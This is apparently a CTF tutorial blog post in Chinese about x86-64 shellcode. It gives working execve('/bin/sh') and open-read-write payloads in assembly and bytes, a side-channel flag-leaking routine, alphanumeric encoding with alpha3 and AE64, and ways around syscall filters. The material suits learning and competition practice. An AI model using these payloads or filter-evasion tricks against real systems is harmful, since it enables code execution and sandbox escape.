Pwn.the-Art-of-Shellcode
2024-02-28 23:02:54 # CTF

Basic

首先给出两个常用shellcode仓库,可以检索需要的shellcode

接下来给出几个尽可能短的shellcode

1
2
3
4
5
; excve('/bin/sh','sh',0)
; rax: 0x3b
; rdi: '/bin/sh'
; rsi: 'sh'
; rdx; NULL

最短shellcode

特征与条件

长度为22字节
主要是通过cdq将rdx高位为0,减小了长度,另一种方法是通过mul r/m64指令,实现清空rax和rdx

  • eax 高二位必须为0,一般是满足的

汇编

1
2
3
4
5
6
7
8
9
xor 	rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
1
2
3
4
5
6
7
8
9
10
48 31 f6             xor rsi, rsi	
56 push rsi
58 bf 2f 62 69 6e 2f mov rdi, 0x68732f2f6e69622f;
2f 73 68
57 push rdi
54 push rsp
5f pop rdi ;stack pointer to /bin//sh
b0 3b mov al, 59 ;sys_execve 66 b8 3b 00 mov ax,59
99 cdq ;sign extend of eax
0f 05 syscall

字节码

1
2
3
4
5
6
7
// int
0x622fbf4856f63148
0x545768732f2f6e69
0x050f993bb05f

// bytes
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

orw

特征与条件

长度为0x28字节
主要是通过异或实现了取代了mov减少长度

  • rsp指向的地址必须是可用的
  • 存在NULL字符

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// rdx为写入数量
mov rdx, 0x200
push 0x67616c66
mov rdi,rsp
xor esi,esi #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall

字节码

1
2
3
4
5
6
7
0x6800000200c2c748
0x31e7894867616c66
0x050f00000002b8f6
0x0fc031e68948c789
0x050ff88902f78305

\x48\xc7\xc2\x00\x02\x00\x00\x68\x66\x6c\x61\x67\x48\x89\xe7\x31\xf6\xb8\x02\x00\x00\x00\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x83\xf7\x02\x89\xf8\x0f\x05

可指定地址orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shellcode = """
xor rdx,rdx
mov dh, 0x2
mov rdi,{}
xor esi,esi
mov eax,2
syscall
mov rsi,rdi
mov edi,eax
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
""".format(hex(target_addr + 0xb0))

侧信道爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
code = asm(
"""
push 0x67616c66
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
xor eax, eax
push 6
pop rdi
push 0x50
pop rdx
mov rsi, 0x10100
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl, dl
jz loop
mov al,231
syscall
loop:
jmp loop
""".format(offset, ch)
)

字符限制

编码工具

ae64 alpha3
Encode x32 alphanumeric shellcode x
Encode x64 alphanumeric shellcode
Original shellcode can contain zero bytes x
Base address register can contain offset x

Alpha3

限制只能使用字母或者数字
alpha3使用:
alpha3需要python2环境,所以先安装python2

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xc0\xb0\x3b\x99\x0f\x05"
with open("./sc.bin",'wb') as f:
f.write(sc)
1
python2 ALPHA3.py x64 ascii mixedcase rdx --input="sc.bin" > out.bin 

可以选择架构、编码、限制的字符

AE64

AE64可以直接在python中导入,使用相对较为方便且限制较少

1
2
3
4
5
6
7
8
9
10
from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))

手动绕过

主要是通过sub、add、xor等指令对于非字母数字指令进行加密。
可以先根据限制筛选出受限制后的指令列表,然后根据指令列表进行组合,从而实现绕过。

另一种方法是通过shellcode先实现write读取到shellcode的位置,然后输入新的无限制的
shellcode来完成绕过。

https://nets.ec/Alphanumeric_shellcode

特定位置字符限制

在最近的*CTF中存在一个用浮点数输入字符,并对浮点数做限制写shellcode的题目,实际上是限制了每八位需要有两位是特定字符,这里给出两种绕过思路:

1
2
3
4
mov rcx, im64
mov rcx, im32
mov ecx, im32
mov cl, im16

这里im是可以由我们自由控制的立即数,因此我们可以通过插入这些无关指令填充来绕过限制,上面这些指令涵盖了3、4、5字节,可以灵活插入来达到需要的效果

1
jmp short

通过jmp短跳转直接跳过中间指令,从而绕过限制

jmp指令本身只有两个字节,更为灵活。

对于orw的限制

如果程序还对orw等系统调用作出了限制呢?
w的限制还好说,可以通过侧信道leak出flag,而如果禁用了open,orw就 很难进行下去了。
但是还有一种方法。

利用32位调用绕过orw

x86与x64的syscall number是不一样的,如果能够跳转到32位执行相应的shellcode,就可一绕过限制。

x86 sys_number

| sys_number | | | | |
|—|—|—|—|—|—|
|3|read|0x03|unsigned int fd|char *buf|size_t count|
|4|write|0x04|unsigned int fd|const char *buf|size_t count|
|5|open|0x05|const char *filename|int flags|umode_t mode|

而程序是由32位还是64位执行是由cs寄存器决定的,而retfq指令可以对其作出更改,从而切换寄存器状态,所以可以由此实现orw。

值得注意的是, 对于32位程序, 由于kernel 也要对其作出相应支持, 所以内核代码中有一个操作系统层面的arch判断, personality, 这会影响mmap之类的操作

x32 ABI

x32 ABI 是一个应用程序二进制接口 (ABI),也是 Linux 内核的接口之一。 x32 ABI 在 Intel 和 AMD 64 位硬件上提供 32 位整数、长整数和指针。

可以通过 查看内核源代码 unistd_x32.h 查看

1
cat /usr/src/kernels/6.4.7-200.fc38.x86_64/arch/x86/include/generated/uapi/asm/unistd_x32.h
1
2
3
4
5
6
#ifndef _UAPI_ASM_UNISTD_X32_H              
#define _UAPI_ASM_UNISTD_X32_H
#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)

即可以通过0x40000000+syscall_number 来调用一些系统调用。所以可以绕过对syscall的限制。

不过这个特性似乎在大多数发行版中不受支持。

io_uring

io_uring 本身可以实现所有orw乃至socket连接操作, 在linux5.xx最少需要mmapio_uring_setup 两个syscall, 之后增加了 IORING_SETUP_NOMMAP 则可以只用一个syscall来实现orw

对于syscall指令的过滤

  • vdso
  • sysenter
  • int 80

tricks

  • 对于一些题目,对shellcode的检查用到了strlen,那么可以通过先使用一些存在NULL截断的指令,从而使得后面的字符串绕过限制。
  • 在无法获取shellcode运行地址时,可以运行syscall,运行后,rcx会被改写为下一条指令的地址。在32位程序中,还可以通过call指令获取将运行地址压入栈中,在64位地址中,可以直接通过 lea rax, [rip] 来获取rip地址
  • 对于需要libc地址的程序,可以考虑通过xmm寄存器获得libc相关地址
2024-02-28 23:02:54 # CTF
Next